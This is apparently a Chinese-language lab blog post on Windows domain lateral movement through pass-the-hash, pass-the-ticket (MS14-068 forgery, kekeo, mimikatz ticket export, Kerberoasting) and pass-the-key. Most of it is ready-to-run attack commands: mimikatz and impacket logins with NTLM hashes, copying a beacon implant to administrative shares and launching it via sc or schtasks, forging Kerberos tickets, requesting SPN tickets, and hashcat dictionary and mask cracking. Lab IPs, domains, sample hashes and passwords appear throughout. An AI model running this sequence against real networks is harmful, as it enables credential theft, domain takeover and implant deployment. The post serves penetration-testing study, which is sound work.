内网安全 pth&ptt&ptk利用思路

Posted on 6 days ago  9 Views


  • 概念一览
    • pass the hash(哈希传递攻击,简称 pth)
    • pass the ticket(票据传递攻击,简称 ptt)
    • pass the key(密钥传递攻击,简称 ptk)
    • PTH (pass the hash) #利用的 lm 或 ntlm 的值进行的渗透测试(NTLM 认证攻击)
    • PTK (pass the key) #利用的 ekeys aes256 进行的渗透测试(NTLM 认证攻击)
    • PTT (pass the ticket) #利用的票据凭证 TGT 进行渗透测试(Kerberos 认证攻击)
  • 利用选择
    • 明文传递 ->PTH (HASH 传递)->PTT (票据攻击)->PTK (AES)

因为前面也曾提及过,在windows2012过后就抓取不到明文密码了,此时得到的数据全是hash,可以选择破译出明文密码,再使用某些协议(smb、wmi防火墙没阻止的情况下)或者用hash也可以(使用上期基于口令的命令)。hash行不通就ptt(四种利用方式,总结起来就是要么转明文,要么用已有账户且有管理员权限的假票据去横向移动),再者就ptk

环境

账户错啦,少写了个in,应该是win101,win102,win103

利用思路

第 1 种:利用直接的 Hash 传递(pth)

1、Mimikatz
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:192.168.214.100 /ntlm:518b98ad4178a53695dc997aa02d455c
net use \192.168.3.32\c$
copy beacon.exe \192.168.3.32\c$
sc \sqlserver create bshell binpath= "c:\4.exe"
sc \sqlserver start bshell
#这两条红色命令我尝试后发现很快就断开链接了,可以换成
shell schtasks /create /s 192.168.214.103 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\beacon.exe
shell schtasks /run /s 192.168.214.103 /tn beacon /i

2、impacket-at&ps&wmi&smb
psexec -hashes :NTLM 值 域名 / 域用户 @域内 ip 地址
smbexec -hashes :NTLM 值 域名 / 域用户 @域内 ip 地址
wmiexec -hashes :NTLM 值 域名 / 域用户 @域内 ip 地址
D:\Myproject\venv\Scripts\python.exe psexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
D:\Myproject\venv\Scripts\python.exe smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
D:\Myproject\venv\Scripts\python.exe wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
#这里的用户名有./表示本机,不写表示域用户

接着上期的环境,现在已经拿到了101和100两台win2012服务器

使用Mimikatz抓hash横向移动

查看票据

第 2 种:利用 hash 转成 ptt 传递

关于ptt,它的利用方向有四种,分别是漏洞,NTLM,历史遗留,加密类型,接下来将从四个方面对其介绍案例

#PTT
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
https://github.com/gentilkiwi/kekeo/releases
1、漏洞 - MS14068 (webadmin 权限)- 利用漏洞生成的用户的新身份票据尝试认证
MS14-068 是密钥分发中心(KDC)服务中的 Windows 漏洞。
它允许经过身份验证的用户在其 Kerberos 票证(TGT)中插入任意 PAC。
该漏洞位于 kdcsvc.dll 域控制器的密钥分发中心 (KDC) 中。
用户可以通过呈现具有改变的 PAC 的 Kerberos TGT 来获得票据。
获取 SID 值: shell whoami/user
生成票据文件: shell ms14-068.exe -u webadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45
清除票据连接: shell klist purge
内存导入票据: mimikatz kerberos::ptc TGT_webadmin@god.org.ccache
连接目标上线:
shell dir \OWA2010CN-GOD\c$
shell net use \OWA2010CN-GOD\C$
copy beacon.exe \OWA2010CN-GOD\C$
sc \OWA2010CN-GOD create bindshell binpath= "c:\beacon.exe"
sc \OWA2010CN-GOD start bindshell
注意:成功不成功看 DC 域控漏洞补丁打没打

利用上传好的工具生成票据,但是因为这里电脑缺少某些函数文件,直接借用迪总的好了

于是在文件夹中会多出一个票据文件

对这个票据文件使用mimkatz捏造一个票据

再使用这个账户利用ipc$横向移动其他主机

接着拷贝木马和上线过程不再演示

2、kekeo (高权限,需 NTLM)- 利用获取的 NTLM 生成新的票据尝试认证
因为当前主机肯定之前与其他主机连接过,所以本地应该生成了一些票据,我们可以导出这些票据,然后再导入票据,利用。该方法类似于 cookie 欺骗
缺点:票据是有有效期的,所以如果当前主机在连接过域控的话,有效期内可利用。
生成票据:shell kekeo "tgt::ask /user:Administrator /domain:XIUBAO /ntlm:981337a69b4794db9dfcd215920b1f73" "exit"
导入票据:shell kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit"
查看票据:shell klist
利用票据连接:shell dir \owa2010cn-god\c$
注意:成功不成功看 ntlm 哈希值的正确性

这个工具也有点问题,我试过了不行。

现在和刚刚第一种方式一样,也可以通讯上了

3、mimikatz (高权限,需 Ticket)- 利用历史遗留的票据重新认证尝试
导出票据:
mimikatz sekurlsa::tickets /export
导入票据:
mimikatz kerberos::ptt
C:\Users\webadmin\Desktop[0;22d3a]-2-1-40e00000-Administrator@krbtgt-god.org.kirbi
查看票据: shell klist
利用票据连接: shell dir \owa2010cn-god\c$
注意:成功不成功看当前主机有没有被目标连接过

在这些凭据中,如果出现后半部分为administrator字样,基本上为域控账户,就可有使用此票据登录其他主机

然后随便连一台主机都可以

4、Rubeus&Impacket(高权限,需 Ticket)- 利用通讯的加密类型票据进行爆破明文
Kerberos 攻击条件:
采用 rc4 加密类型票据,工具 Rubeus&impacket 检测或看票据加密类型
Kerberoasting 攻击的利用:
・SPN 服务发现
・请求服务票据
・服务票据的导出
・服务票据的暴力破解
https://hashcat.net/hashcat/
https://github.com/fortra/impacket
https://github.com/GhostPack/Rubeus
https://github.com/nidem/kerberoast
https://www.freebuf.com/articles/system/174967.html
如需利用需要配置策略加密方式 (对比)
黑客可以使用有效的域用户的身份验证票据(TGT)去请求运行在服务器上的一个或多个目标服务的服务票据。DC 在活动目录中查找 SPN,并用与 SPN 关联的服务帐户加密票据,以便服务能验证用户是否可以访问。请求的 Kerberos 服务票据的加密类型是 RC4_HMAC_MD5,这意味着服务帐户的 NTLM 密码哈希用于加密服务票据。黑客将收到的 TGS 票据离线进行破解,即可得到目标服务帐号的 HASH,这个称之为 Kerberoast 攻击。如果我们有一个为域用户帐户注册的任意 SPN,那么该用户帐户的明文密码的 NTLM 哈希值就将用于创建服务票据。
注意:成功不成功看当前主机票据加密类型(RC4)
人工:
过程是先用spn去获取哪些通讯的服务,再去连接通讯这个服务,产生票据,查看票据的加密通讯类型能不能爆破
工具:Rubeus kerberoast impacket

在域控这里可以配置加密类型

#利用代码
1、扫描:
powershell setspn -T 0day.org -q /#用于在域中查询服务主体名称,简单来说就是查询哪台机子上开了什么服务
powershell setspn -T 0day.org -q / | findstr "MSSQL"
2、检测加请求:
Rubeus kerberoast
impacket-getuserspns
请求所有 SPN 服务器,并找到能破解的票据格式保存到 hash.txt
python GetUserSPNs.py -request -dc-ip 192.168.3.142 0day.org/jack:admin!@#45 -outputfile hash.txt
3. 手工请求: (要产生票据文件)powershell命令和mimikatz二选一
powershell Add-Type -AssemblyName System.IdentityModel
powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"
mimikatz kerberos::ask /target:MSSQLSvc/SqlServer.god.org:1433
4. 导出:
mimikatz kerberos::list /export
5. 破解:
文件票据: python tgsrepcrack.py pass.txt "xx.kirbi"
HASH 密文: hashcat -m 13100 hash.txt pass.txt --force#数字表示加密类型

因为没有开启mssql服务,所以直接借用迪总的图了

命令为shell Rubeus kerberoast,如果出现以下内容则是此方法不行,上面可以看到加密方式是res的

出现以下内容则是可以利用,将hash使用hashcat破解得到密码,或者导出票据使用kerberost工具包 tgsrepcrack破解

用impact带的插件,直接完成请求加检测两个步骤,然后将hash保存到hash.txt里面

第 3 种:利用 hash 进行暴力破解明文

平台: https://www.cmd5.com/
工具: https://hashcat.net/hashcat/
破解
hashcat -a 0 -m 1000 --force 518b98ad4178a53695dc997aa02d455c pass.txt
-m 密文类型
-a 破解类型
-?l 小写
-?s 符号
-?d 数字
字典破解:
hashcat.exe -a 0 -m 1000 hash.txt pass.txt
暴力破解:
hashcat.exe -a 3 -m 1000 518b98ad4178a53695dc997aa02d455c ?l?l?l?l?l?s?s?s?d?d#表示要破解五个小字母三个符号两个数字的密码

hash破解是依靠碰撞的,字典没有破不出来

第 4 种:利用 ptk

#PTK
PTK = Pass The Key,当系统安装了 KB2871997 补丁且禁用了 NTLM 的时候,那我们抓取到的 ntlm hash 也就失去了作用,但是可以通过 PTK 的攻击方式获得权限。
mimikatz sekurlsa::ekeys
mimikatz sekurlsa::pth /user: 域用户名 /domain: 域名 /aes256:aes256 值

会弹出窗口获得system权限